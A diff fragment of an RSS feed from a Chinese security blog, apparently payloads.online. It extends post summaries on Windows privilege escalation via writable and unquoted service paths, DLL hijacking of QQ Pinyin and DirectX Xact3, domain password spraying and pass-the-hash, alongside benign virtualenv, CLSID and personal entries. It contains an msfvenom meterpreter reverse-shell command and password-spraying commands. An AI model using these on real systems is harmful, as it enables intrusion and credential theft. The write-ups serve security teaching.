</tbody> </table> -<p><strong><a href="https://docs.microsoft.com/en-us/windows/desktop/sysinfo/hkey-classes-root-key">HKEY_CLASSES_ROOT</a> = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER</strong></p>Windows 本地特权提升技巧https://payloads.online/archivers/2018-10-08/1/Mon, 08 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-08/1/<h2 id="0x00-前言">0x00 前言</h2> +<p><strong><a href="https://docs.microsoft.com/en-us/windows/desktop/sysinfo/hkey-classes-root-key">HKEY_CLASSES_ROOT</a> = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER</strong></p> +<h3 id="clsid">CLSID</h3> +<p>首先需要介绍一下CLSID(Class Identifier),中文翻译为:“全局唯一标识符”。</p> +<p>CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。</p> +<p>也就是说CLSID就是对象的身份证号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的。</p> +<p> + <img src="https://images.payloads.online/2f2090f6-4f5f-11ec-a05c-00d861bf4abb.png" alt=""> + +</p> +<p>按下Ctrl+R打开运行窗口,键入 <code>::{20D04FE0-3AEA-1069-A2D8-08002B30309D}</code>即可打开“我的电脑”</p> +<p>回收站的CLISD是:<code>::{645FF040-5081-101B-9F08-00AA002F954E}</code></p> +<h3 id="clsid是如何创建的">CLSID是如何创建的</h3> +<p>CLSID结构体:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">_GUID</span> {
  +</span></span><span style="display:flex;"><span> DWORD Data1; <span style="color:#75715e">// 随机数
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> WORD Data2; <span style="color:#75715e">// 和时间相关
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> WORD Data3; <span style="color:#75715e">// 和时间相关
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> BYTE Data4[<span style="color:#ae81ff">8</span>]; <span style="color:#75715e">// 和网卡MAC相关
 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> } GUID;

 +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">typedef</span> GUID CLSID;  <span style="color:#75715e">// 组件ID
 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">typedef</span> GUID IID;    <span style="color:#75715e">// 接口ID +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>通过操作系统提供的结构体与API来创建CLSID,保障唯一性。</p>Windows 本地特权提升技巧https://payloads.online/archivers/2018-10-08/1/Mon, 08 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-08/1/<h2 id="0x00-前言">0x00 前言</h2> <p>本文主要有以下章节:</p> <ul> <li>1.服务路径权限可控提权</li> @@ -2973,7 +5861,62 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <img src="https://images.payloads.online/2942f94e-4f5f-11ec-99bc-00d861bf4abb.png" alt=""> -惊喜的发现,<code>“Everyone”</code>用户可以读写该目录下所有文件。</p>Python virtualenvhttps://payloads.online/archivers/2018-08-16/1/Thu, 16 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-16/1/<h2 id="0x00-virtualenv-简介">0x00 virtualenv 简介</h2> +惊喜的发现,<code>“Everyone”</code>用户可以读写该目录下所有文件。</p> +<p>Ps:Everyone代指当前主机下所有用户,包含(Guest)</p> +<h3 id="提权过程">提权过程</h3> +<p>首先,我启用了win7的Guest用户,使用Guest用户登录这台机器:</p> +<p> + <img src="https://images.payloads.online/297e7e1a-4f5f-11ec-af7b-00d861bf4abb.png" alt=""> + + + + <img src="https://images.payloads.online/29b1286a-4f5f-11ec-93d3-00d861bf4abb.png" alt=""> + + +Ping命令都不让用,限制很死。</p> +<p>使用msf生成一个木马:</p> +<p> + <img src="https://images.payloads.online/29f12ac8-4f5f-11ec-aa05-00d861bf4abb.png" alt=""> + + +将木马替换为gwservice.exe</p> +<p> + <img src="https://images.payloads.online/2a32c9ce-4f5f-11ec-b4b8-00d861bf4abb.png" alt=""> + + +先执行测试一下,能否获得Guest的session:</p> +<p> + <img src="https://images.payloads.online/2a70111c-4f5f-11ec-bef8-00d861bf4abb.png" alt=""> + + +获得会话后,注销(或重启)Guest用户,登录管理员用户,获得SYSTEM权限:</p> +<p> + <img src="https://images.payloads.online/2ab054b6-4f5f-11ec-90e5-00d861bf4abb.png" alt=""> + + +提权情况还是要根据服务器本身的环境,我总结的这些方法就是为了优先采用这些方式,而不是直接突突搞EXP ……</p> +<h2 id="0x02-模糊路径提权">0x02 模糊路径提权</h2> +<p>在上一篇中,我们继续基于<code>Gateway Session Service</code>这个服务进行分析其他提权方法:</p> +<p><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services</code></p> +<p> + <img src="https://images.payloads.online/2af42196-4f5f-11ec-b362-00d861bf4abb.png" alt=""> + + +其中有一个ImagePath的名称,它的值是:</p> +<p><code>C:\Program Files (x86)\Gateway\SSLVPN\gwservice.exe</code></p> +<p>当服务启动时,将会读取这个ImagePath的值,我们无法更改这个值,但是可以通过Windows的特性来巧妙提权。 +注意:当前这个环境只是演示,排除目录权限的原因是100%成功的。</p> +<p>重点:当ImagePath的值不是一个绝对路径时,我们可以通过Windows API中的<code>“CreateProcessA”</code>函数的特性,将木马放置在带有空格目录的同级目录下,当服务启动时,会首先在空格目录当前目录搜索第一个单词的二进制文件。</p> +<p>例子:</p> +<p><code>C:\Program Files (x86)\server process\ssl\service.exe</code></p> +<p>如果不是绝对路径,寻找过程如下:</p> +<ol> +<li>C:\Program.exe</li> +<li>C:\Program Files (x86)\server.exe</li> +<li>C:\Program Files (x86)\server process\ssl\service.exe</li> +</ol> +<p>参考链接: +<a href="https://docs.microsoft.com/zh-cn/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa">https://docs.microsoft.com/zh-cn/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa</a></p>Python virtualenvhttps://payloads.online/archivers/2018-08-16/1/Thu, 16 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-16/1/<h2 id="0x00-virtualenv-简介">0x00 virtualenv 简介</h2> <p>virtualenv 用来建立一个虚拟的python环境,为了解决Python各种库的冲突问题。</p> <h2 id="0x01-virtualenv-安装">0x01 virtualenv 安装</h2> <h3 id="通用安装方法">通用安装方法</h3> @@ -2994,7 +5937,115 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>apt-get upgrade <span style="color:#f92672">&amp;&amp;</span> apt-get update </span></span><span style="display:flex;"><span>apt-get install virtualenv -</span></span></code></prMicrosoft DirectX SDK June 2010 Xact3.exe DLL Hijacking复现https://payloads.online/archivers/2018-08-15/1/Wed, 15 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-15/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-virtualenv-使用">0x02 virtualenv 使用</h2> +<h3 id="帮助信息">帮助信息</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ virtualenv -h +</span></span><span style="display:flex;"><span>Usage: virtualenv <span style="color:#f92672">[</span>OPTIONS<span style="color:#f92672">]</span> DEST_DIR +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Options: +</span></span><span style="display:flex;"><span> --version 显示程序的版本号并退出 +</span></span><span style="display:flex;"><span> -h, --help 显示程序的帮助信息并退出 +</span></span><span style="display:flex;"><span> -v, --verbose 增强输出 +</span></span><span style="display:flex;"><span> -q, --quiet 减少输出 +</span></span><span style="display:flex;"><span> -p PYTHON_EXE, --python<span style="color:#f92672">=</span>PYTHON_EXE Python的可执行路径<span style="color:#f92672">(</span>/usr/bin/python<span style="color:#f92672">)</span> +</span></span><span style="display:flex;"><span> --clear 清除安装的库 +</span></span><span style="display:flex;"><span> --no-site-packages 给出一个干净的环境,不包含系统已安装的库 +</span></span><span style="display:flex;"><span> --system-site-packages 包含系统库 +</span></span><span style="display:flex;"><span> --always-copy 始终复制文件而不是符号链接。 +</span></span><span style="display:flex;"><span> --relocatable 使一个现有的virtualenv环境这会修复脚本并生成所有.pth文件 +</span></span><span style="display:flex;"><span> --no-setuptools 不要在新的virtualenv中安装setuptools +</span></span><span style="display:flex;"><span> --no-pip 不要在新的virtualenv中安装pip +</span></span><span style="display:flex;"><span> --no-wheel 不要在新的virtualenv中安装wheel +</span></span><span style="display:flex;"><span> --extra-search-dir<span style="color:#f92672">=</span>DIR 在DIR中寻找setuptools/pip +</span></span><span style="display:flex;"><span> --download 从PyPI下载预安装的软件包 +</span></span><span style="display:flex;"><span> --no-download, --never-download 不要从PyPI下载预安装的软件包 +</span></span><span style="display:flex;"><span> --prompt<span style="color:#f92672">=</span>PROMPT 为此环境提供备用提示前缀 +</span></span><span style="display:flex;"><span> --setuptools 已废弃 +</span></span><span style="display:flex;"><span> --distribute 已废弃 +</span></span><span style="display:flex;"><span> --unzip-setuptools 已废弃 +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="查看当前版本">查看当前版本</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ virtualenv --version +</span></span><span style="display:flex;"><span>16.0.0 +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="配置一个新的环境">配置一个新的环境</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ which python <span style="color:#75715e"># 查看Python路径</span> +</span></span><span style="display:flex;"><span>/usr/bin/python +</span></span><span style="display:flex;"><span>~$ virtualenv --no-site-packages -p /usr/bin/python MyNewEnv <span style="color:#75715e"># 创建环境目录</span> +</span></span><span style="display:flex;"><span>Running virtualenv with interpreter /usr/bin/python +</span></span><span style="display:flex;"><span>New python executable in /home/liyingzhe/MyNewEnv/bin/python +</span></span><span style="display:flex;"><span>Installing setuptools, pip, wheel...done. +</span></span><span style="display:flex;"><span>~$ ls MyNewEnv/ <span style="color:#75715e"># 查看环境目录</span> +</span></span><span style="display:flex;"><span>bin include lib local pip-selfcheck.json +</span></span><span style="display:flex;"><span>~$ source MyNewEnv/bin/activate <span style="color:#75715e"># 将环境生效</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>MyNewEnv<span style="color:#f92672">)</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>MyNewEnv<span style="color:#f92672">)</span> ~$ pip list <span style="color:#75715e"># 查看已安装的库</span> +</span></span><span style="display:flex;"><span>Package Version +</span></span><span style="display:flex;"><span>---------- ------- +</span></span><span style="display:flex;"><span>pip 18.0 +</span></span><span style="display:flex;"><span>setuptools 40.0.0 +</span></span><span style="display:flex;"><span>wheel 0.31.1 +</span></span></code></pre></td></tr></table> +</div> +</div><p>此时我们可以安装一些新的库</p>Microsoft DirectX SDK June 2010 Xact3.exe DLL Hijacking复现https://payloads.online/archivers/2018-08-15/1/Wed, 15 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-15/1/<h2 id="0x00-前言">0x00 前言</h2> <p>Microsoft DirectX SDK (June 2010) Xact3.exe <a href="https://www.microsoft.com/en-us/download/details.aspx?id=6812">https://www.microsoft.com/en-us/download/details.aspx?id=6812</a></p> <p>目前微软官方已经废弃该SDK,所以我只能本着学习的心态去复现。</p> @@ -3019,7 +6070,9 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span></span><span style="display:flex;"><span>2) create an empty file with a &#34;.xap&#34; extension on the same share, this will open using &#34;Xact3.exe&#34; as its default </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>3) open the the .xap file from the Network share then BOOM! -</span></span></code></pr近期的生活https://payloads.online/archivers/2018-08-03/2/Fri, 03 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-03/2/<h2 id="0x01-入职">0x01 入职</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p>一共两步,第一步是创建两个文件,分别是<code>.xap</code>文件和<code>xbdm.dll</code>。</p>近期的生活https://payloads.online/archivers/2018-08-03/2/Fri, 03 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-03/2/<h2 id="0x01-入职">0x01 入职</h2> <p>在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。</p> <h2 id="0x02-工作">0x02 工作</h2> <p>慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;</p> @@ -3068,7 +6121,17 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <li>vuln 漏洞检测</li> </ul> <h2 id="0x03-nmap扩展脚本铺垫">0X03 Nmap扩展脚本铺垫</h2> -<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p>QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权https://payloads.online/archivers/2018-06-09/1/Sat, 09 Jun 2018 00:00:00 +0000https://payloads.online/archivers/2018-06-09/1/<h2 id="0x00-dll劫持简介">0x00 DLL劫持简介</h2> +<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p> +<p>主要介绍如下几点:</p> +<ul> +<li>Nmap扩展脚本用途</li> +<li>Nmap扩展脚本使用方法</li> +<li>如何查看Nmap扩展脚本的Usage(使用方法)</li> +</ul> +<h3 id="0x03-1-nmap扩展脚本用途">0X03 [1] Nmap扩展脚本用途&gt;</h3> +<p>Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。</p> +<h3 id="0x03-2-nmap扩展脚本使用方法">0x03 [2] Nmap扩展脚本使用方法</h3> +<p>在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:http://zhuanlan.zhihu.com/p/26618074</p>QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权https://payloads.online/archivers/2018-06-09/1/Sat, 09 Jun 2018 00:00:00 +0000https://payloads.online/archivers/2018-06-09/1/<h2 id="0x00-dll劫持简介">0x00 DLL劫持简介</h2> <p>《DLL劫持》技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。 &ndash; 百度百科</p> <h2 id="0x01-应用程序寻找dll的过程">0x01 应用程序寻找DLL的过程</h2> <ul> @@ -3097,9 +6160,25 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>权限问题:</p> <p>如果要劫持的DLL目录被操作系统限制了必须以管理员权限才可以读写,那么我们无法利用,本文演示从低权限到高权限的DLL劫持提权。</p> <p> - <img src="https://images.payloads.online/24ed1d7a-4f5f-11ec-9f88-00d861bf4abb.jpg" alt="0x02"> + <img src="https://images.payloads.online/24ed1d7a-4f5f-11ec-9f88-00d861bf4abb.jpg" alt="0x02"> + +</p> +<p>那么这个漏洞刚刚好也符合我们的案例:C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400</p> +<p>这个目录是任何人都可以读写的,使用MSF生成DLL:</p> +<p><code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.19 LPORT=4478 -f dll &gt; ntmarta.dll</code></p> +<p>接下来通过任意途径,将dll copy到<code>C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400</code>路径下即可</p> +<p>MSF配置如下:</p> +<p> + <img src="https://images.payloads.online/25291a8c-4f5f-11ec-9430-00d861bf4abb.jpg" alt="0x03"> + +</p> +<p>当用户使用输入法的时候、或者重启PC的时候,或者切换输入法的时候,都将会触发,我们可以获得一个Meterpreter会话。</p> +<p> + <img src="https://images.payloads.online/256ca7ca-4f5f-11ec-89a6-00d861bf4abb.jpg" alt="0x04"> -</p>Windows域渗透 - 用户密码枚举https://payloads.online/archivers/2018-05-02/1/Wed, 02 May 2018 00:00:00 +0000https://payloads.online/archivers/2018-05-02/1/<h2 id="0x00-前言">0x00 前言</h2> +</p> +<h2 id="0x03-视频演示">0x03 视频演示</h2> +<!-- raw HTML omitted -->Windows域渗透 - 用户密码枚举https://payloads.online/archivers/2018-05-02/1/Wed, 02 May 2018 00:00:00 +0000https://payloads.online/archivers/2018-05-02/1/<h2 id="0x00-前言">0x00 前言</h2> <p>在进行Windows域渗透的时候,面对庞大的用户账号,不知该从何下手,扫描网络服务有怕搞出大动静,肿么办呢?</p> <h2 id="0x01-powershell">0x01 Powershell</h2> <p>目前已经有很多Powershell集合脚本,用于域渗透简直舒爽</p> @@ -3129,7 +6208,14 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <li>参数: <code>Force</code> 当枚举出第一个后继续枚举,不询问</li> </ul> <h2 id="0x03-使用说明">0x03 使用说明</h2> -<p>使用例子:</p>新生活 - 上海,我来了https://payloads.online/archivers/2018-04-20/1/Fri, 20 Apr 2018 00:00:00 +0000https://payloads.online/archivers/2018-04-20/1/<p>完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。</p> +<p>使用例子:</p> +<p><code>C:\PS&gt; Get-DomainUserList</code></p> +<p>该命令将从域中收集用户列表。</p> +<p><code>C:\PS&gt; Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt</code></p> +<p>该命令将收集域“域名”中的用户列表,包括任何未被禁用且未接近锁定状态的帐户。 它会将结果写入“userlist.txt”文件中</p> +<p><code>C:\PS&gt; Invoke-DomainPasswordSpray -Password Winter2016</code></p> +<p>该命令将会从域环境中获取用户名,然后逐个以密码<code>Winter2016</code>进行认证枚举</p> +<p><code>C:\PS&gt; Invoke-DomainPasswordSpray -UserList users.txt -Domain 域名 -PasswordList passlist.txt -OutFile sprayed-creds.txt</code></p>新生活 - 上海,我来了https://payloads.online/archivers/2018-04-20/1/Fri, 20 Apr 2018 00:00:00 +0000https://payloads.online/archivers/2018-04-20/1/<p>完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。</p> <hr> <p>谢谢我的朋友们给我的支持!</p>使用CrackMapExec 进行 NTLM Hash传递攻击https://payloads.online/archivers/2018-03-27/1/Tue, 27 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-27/1/<h2 id="0x01-前言">0x01 前言</h2> <p>早期<code>SMB</code>协议在网络上传输明文口令。后来出现 <code>LAN Manager Challenge/Response </code>验证机制,简称<code>LM</code>,它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。</p> @@ -3165,7 +6251,29 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 -</span></code></pr浅谈使用C语言开发服务端漏洞扫描设计https://payloads.online/archivers/2018-03-20/1/Tue, 20 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-20/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>apt-get install -y libssl-dev libffi-dev python-dev build-essential +</span></span><span 